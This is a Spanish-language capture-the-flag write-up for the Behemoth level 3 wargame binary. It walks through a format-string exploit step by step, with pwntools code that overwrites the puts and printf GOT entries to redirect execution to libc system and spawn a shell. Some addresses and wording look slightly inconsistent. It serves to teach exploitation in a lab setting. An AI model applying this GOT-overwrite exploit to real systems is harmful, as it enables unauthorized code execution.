Behemoth3

Recordamos deshabilitar ASLR con: $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Analizando

ltrace

behemoth3@behemoth:/behemoth$ ltrace ./behemoth3
__libc_start_main(0x804847b, 1, 0xffffd774, 0x80484e0 <unfinished ...>
printf("Identify yourself: ") = 19
fgets(Identify yourself: asd "asd\n", 200, 0xf7fc55a0) = 0xffffd610
printf("Welcome, ") = 9
printf("asd\n"Welcome, asd) = 4
puts("\naaaand goodbye again." aaaand goodbye again.) = 23
+++ exited (status 0) +++

Ghidra

El pseudo-código del programa es el siguiente:

undefined4 main(void) {
  char local_cc [200];

  printf("Identify yourself: ");
  fgets(local_cc,200,stdin);
  printf("Welcome, ");
  printf(local_cc);
  puts("\naaaand goodbye again.");
  return 0;
}

Conclusiones

Nos encontramos con lo que parece una vulnerabilidad de "Format String". Lo podemos comprobar enviando una pequeña cadena de caracteres seguida de algunos %x. al input del binario.

behemoth3@behemoth:/behemoth$ ./behemoth3
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.41414141.42424242.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.f7000a78

aaaand goodbye again.

De este modo podemos comprobar que después de la impresión de los caracteres enviados, se nos muestran los mismos en valor hexadecimal. Esto también nos indica que comenzamos a sobreescribir la memoria inmediatamente después de la cadena que pasemos.

Analizando el código del binario, la vulnerabilidad se encuentra en la llamada a la función "printf" de la línea 7 por lo que, si inyectamos, estaremos sobreescribiendo directamente la direción de la función "puts".

Explotando

Planificación

Para explotar este caso, vamos a redireccionar la llamada a la función puts para que apunte de nuevo a la función main. Tras esto, modificaremos la llamada a la función printf para que apunte a la función system de libc.

Modificando la dirección de puts

Lo primero que tenemos que hacer es encontrar la dirección de puts y de main. Para ello, accedemos al binario con gdb o el debugger que usemos.

Los pasos que seguiremos son:

  1. disass main
  2. x/i 0x8048350 (la dirección de la llamada a puts)
  3. Obtendremos la dirección de puts
# pwndbg ./behemoth3
Reading symbols from ./behemoth3...
(No debugging symbols found in ./behemoth3)
pwndbg> disass main
Dump of assembler code for function main:
   0x0804847b <+0>: push   ebp
   0x0804847c <+1>: mov    ebp,esp
   0x0804847e <+3>: sub    esp,0xc8
   0x08048484 <+9>: push   0x8048560
   0x08048489 <+14>:    call   0x8048330 <printf@plt>
   0x0804848e <+19>:    add    esp,0x4
   0x08048491 <+22>:    mov    eax,ds:0x80497c0
   0x08048496 <+27>:    push   eax
   0x08048497 <+28>:    push   0xc8
   0x0804849c <+33>:    lea    eax,[ebp-0xc8]
   0x080484a2 <+39>:    push   eax
   0x080484a3 <+40>:    call   0x8048340 <fgets@plt>
   0x080484a8 <+45>:    add    esp,0xc
   0x080484ab <+48>:    push   0x8048574
   0x080484b0 <+53>:    call   0x8048330 <printf@plt>
   0x080484b5 <+58>:    add    esp,0x4
   0x080484b8 <+61>:    lea    eax,[ebp-0xc8]
   0x080484be <+67>:    push   eax
   0x080484bf <+68>:    call   0x8048330 <printf@plt>
   0x080484c4 <+73>:    add    esp,0x4
   0x080484c7 <+76>:    push   0x804857e
   0x080484cc <+81>:    call   0x8048350 <puts@plt>
   0x080484d1 <+86>:    add    esp,0x4
   0x080484d4 <+89>:    mov    eax,0x0
   0x080484d9 <+94>:    leave
   0x080484da <+95>:    ret
End of assembler dump.
pwndbg> x/i 0x8048350
   0x8048350 <puts@plt>:    jmp    DWORD PTR ds:0x80497ac
pwndbg>

Ahora ya tenemos la dirección de puts (0x80497ac y main (0x0804847b)

Otra manera automática de obtener la dirección de puts y main, es usando ELF en nuestro exploit con esta sintáxis:

binary = ELF("./behemoth3")
puts = p32(binary.got['puts'])
main = p32(binary.symbols['main'])

Construyendo el Format String

Para conseguir modificar la dirección de memoria que queremos, tenemos que enviar con nuestro payload la dirección donde queremos escribir seguido de la inyección "format string". Por defecto no funcionará ya que tendremos que calcular el padding necesario hasta obtener a la dirección de memoria que queremos. Este proceso se realiza entre aproximación y ensayo/error. La sintáxis del format string que usaremos es:

'%1$'+str(p32(main))+'x%1$hn'

%1$ padding x%1 $hn
comienzo del parámetro padding necesario para conseguir la dirección deseada, calculado con la dirección de memoria que queremos como destino parámetro a usar con 'n' logramos que escriba y con 'h' provocamos que escriba solo 2 bytes

Como el padding será muy elevado, dividimos la dirección de puts en dos partes, del mismo modo que dividiremos la inyección de la dirección de main en dos partes y por tanto, dos parámetros de format string.

Para obtener el primer bloque de la direcicón de main, usaremos (main & 0xffff) Y para obtener el segundo bloque, usaremos ((main >> 16) & 0xffff)

Ahora, para ir comprobando, escribimos el comienzo de nuestro exploit añadiendo un pause al comienzo para poder hacer debug sobre el binario usando el exploit y comprobar los valores que estamos modificando.

from pwn import *

p = process('./behemoth3')
binary = ELF("./behemoth3")
context.update(arch='amd64')

pause()

puts1 = 0x80497ac
puts2 = 0x80497ac + 2
main = 0x0804847b

payload = p32(puts1)
payload += p32(puts2)
payload += '%1$'+str(main & 0xffff)+'x%1$hn'
payload += '%1$'+str((main >> 16) & 0xffff)+'x%2$hn'

p.sendline(payload)

print(p.recvall())

Calculando el padding

Ejecutamos el exploit, hacemos debug sobre el, y comprobamos el valor que obtiene la dirección de puts.

El valor de puts antes de continuar el pause:

0x80497ac <puts@got.plt>:   0x08048356

El valor de puts después de continuar el pause:

0x80497ac <puts@got.plt>:   0x8c878483

Como podemos ver, hemos podido escribir la dirección de puts aunque no es la dirección correcta de main por lo que, ahora tenemos que ajustar el padding.

# python -c "print 0x847b - 0x8483"
-8

Como vemos, tenemos que restar 8 al padding actual del primer grupo.

payload += '%1$'+str((main & 0xffff) - 8)+'x%1$hn'

Volvemos a comprobar y obtenemos el grupo correcto.

0x80497ac <puts@got.plt>:   0x8c7f847b

Perfecto, el primer grupo ya está correcto. Ahora tenemos que corregir el segundo grupo. Para ello tenemos que hacer un integer overflow.

Para calcularlo, vamos a modificar el payload del segundo grupo a lo siguiente.

payload += '%1$'+str(1)+'x%2$hn'
0x80497ac <puts@got.plt>:   0x8482847b

Por lo tanto, si a 0xffff le restamos la dirección obtenida 0x8482 y le sumamos la dirección que deseamos 0x0804.

payload += '%1$'+str(0xffff - 0x8482 + ((main >> 16) & 0xffff))+'x%2$hn'

Y volvemos a comprobar.

0x80497ac <puts@got.plt>:   0x07fc847b

Estamos cerca, volvamos a calcular el padding.

# python -c "print 0x0804 - 0x07fc"
8

Por lo tanto el payload queda así

payload += '%1$'+str(0xffff - 0x8482 + 8 + ((main >> 16) & 0xffff))+'x%2$hn'

Construyendo el exploit

Hasta ahora, tenemos el exploit de deste modo.

from pwn import *

p = process('./behemoth3')
context.update(arch='amd64')

# Apuntando la dirección de puts a main
puts1 = 0x80497ac
puts2 = 0x80497ac + 2
main = 0x0804847b

payload = p32(puts1)
payload += p32(puts2)
payload += '%1$'+str((main & 0xffff) - 8)+'x%1$hn'
payload += '%1$'+str(0xffff - 0x8482 + 8 + ((main >> 16) & 0xffff))+'x%2$hn'

p.sendline(payload)
print(p.recvall())

Modificando la dirección de printf

Lo primero que tenemos que hacer igual que al principio, es encontrar la dirección de printf y de system. Para ello, accedemos al binario con gdb o el debugger que usemos.

Obteniendo la dirección de printf

Los pasos que seguiremos son:

  1. disass main
  2. x/i 0x8048350 (la dirección de la llamada a printf)
  3. Obtendremos la dirección de printf
# pwndbg ./behemoth3
Reading symbols from ./behemoth3...
(No debugging symbols found in ./behemoth3)
pwndbg> disass main
Dump of assembler code for function main:
   0x0804847b <+0>: push   ebp
   0x0804847c <+1>: mov    ebp,esp
   0x0804847e <+3>: sub    esp,0xc8
   0x08048484 <+9>: push   0x8048560
   0x08048489 <+14>:    call   0x8048330 <printf@plt>
   0x0804848e <+19>:    add    esp,0x4
   0x08048491 <+22>:    mov    eax,ds:0x80497c0
   0x08048496 <+27>:    push   eax
   0x08048497 <+28>:    push   0xc8
   0x0804849c <+33>:    lea    eax,[ebp-0xc8]
   0x080484a2 <+39>:    push   eax
   0x080484a3 <+40>:    call   0x8048340 <fgets@plt>
   0x080484a8 <+45>:    add    esp,0xc
   0x080484ab <+48>:    push   0x8048574
   0x080484b0 <+53>:    call   0x8048330 <printf@plt>
   0x080484b5 <+58>:    add    esp,0x4
   0x080484b8 <+61>:    lea    eax,[ebp-0xc8]
   0x080484be <+67>:    push   eax
   0x080484bf <+68>:    call   0x8048330 <printf@plt>
   0x080484c4 <+73>:    add    esp,0x4
   0x080484c7 <+76>:    push   0x804857e
   0x080484cc <+81>:    call   0x8048350 <puts@plt>
   0x080484d1 <+86>:    add    esp,0x4
   0x080484d4 <+89>:    mov    eax,0x0
   0x080484d9 <+94>:    leave
   0x080484da <+95>:    ret
End of assembler dump.
pwndbg> x/i 0x8048330
   0x8048330 <printf@plt>:  jmp    DWORD PTR ds:0x80497a4
pwndbg>

Ahora ya tenemos la dirección de printf (0x80497a4)

Otra manera automática de obtener la dirección de puts y main, es usando ELF en nuestro exploit con esta sintáxis:

binary = ELF("./behemoth3")
printf = p32(binary.got['printf'])

Obteniendo la dirección de system

Para obtener la dirección de system, vamos a usar la librería libc del sistema vulnerable.

libc = ELF("../libc-2.24.so")
system = p32(libc.symbols['system'])

Construyendo el Format String

Calculando el padding

Ejecutamos el exploit, hacemos debug sobre el poniendo un breakpoint en la dirección de la llamada al printf vulnerable, y comprobamos el valor que obtiene la dirección de printf.

El valor de printf antes de continuar el pause:

0x80497a4 <printf@got.plt>: 0xf7dc6f30

El valor de printf después de continuar el pause:

0x80497a4 <printf@got.plt>: 0xa857a858

Como podemos ver, hemos podido escribir la dirección de printf aunque no es la dirección correcta de main por lo que, ahora tenemos que ajustar el padding.

# python -c "print 0xa850 - 0xa858"
-8

Como vemos, tenemos que restar 8 al padding actual del primer grupo.

payload += '%1$'+str((system & 0xffff) - 8)+'x%1$hn'

Volvemos a comprobar y obtenemos el grupo correcto.

0x80497a4 <printf@got.plt>: 0xa857a850

Perfecto, el primer grupo ya está correcto. Ahora tenemos que corregir el segundo grupo. Para ello tenemos que volver a hacer un integer overflow.

Para calcularlo, vamos a modificar el payload del segundo grupo a lo siguiente.

payload += '%1$'+str(1)+'x%2$hn'
0x80497a4 <printf@got.plt>: 0xa857a850

Por lo tanto, si a 0xffff le restamos la dirección obtenida 0xa857 y le sumamos la dirección que deseamos 0x0003.

payload += '%1$'+str(0xffff - 0xa857 + 8 + ((system >> 16) & 0xffff))+'x%2$hn'

Y volvemos a comprobar.

0x80497a4 <printf@got.plt>: 0xfffba850

Bueno, como podemos ver el integer overflow se ha quedado corto por lo que vamos a sumar 8 al payload y deberíamos obtener la dirección que necesitamos.

0x80497a4 <printf@got.plt>: 0x0003a850

Efectivamente, ya tenemos la dirección de system.

Construyendo el exploit

Hasta ahora, tenemos el exploit de deste modo.

from pwn import *

p = process('./behemoth3')
context.update(arch='amd64')

# Apuntando la direccion de puts a main
puts1 = 0x80497ac
puts2 = 0x80497ac + 2
main = 0x0804847b

payload = p32(puts1)
payload += p32(puts2)
payload += '%1$'+str((main & 0xffff) - 8)+'x%1$hn'
payload += '%1$'+str(0xffff - 0x8482 + 8 + ((main >> 16) & 0xffff))+'x%2$hn'

p.sendline(payload)
p.recvuntil('yourself:')

# Apuntando la direccion de printf a system
printf1 = 0x80497a4
printf2 = 0x80497a4 + 2
system = 0x0003a850
#system = 0xf7e4c850

payload = p32(printf1)
payload += p32(printf2)
payload += '%1$'+str((system & 0xffff) - 8)+'x%1$hn'
payload += '%1$'+str(0xffff - 0xa857 + 8 + ((system >> 16) & 0xffff))+'x%2$hn'

p.sendline(payload)
print(p.recvall())

Llegados a este punto, solo nos quedaría enviar el comando "/bin/bash" a la llamada a system para que nos entregue una shell y convertir el exploit en shell interactiva.

Esto se haría con estas dos ordenes:

payload += '/bin/sh'
p.interactive()

EN LA MÁQUINA EXTERNA pwndbg> info address system Symbol "system" is at 0xf7e05f10 in a file compiled without debugging. pwndbg> print system $1 = {<text variable, no debug info>} 0xf7e05f10 <system> pwndbg>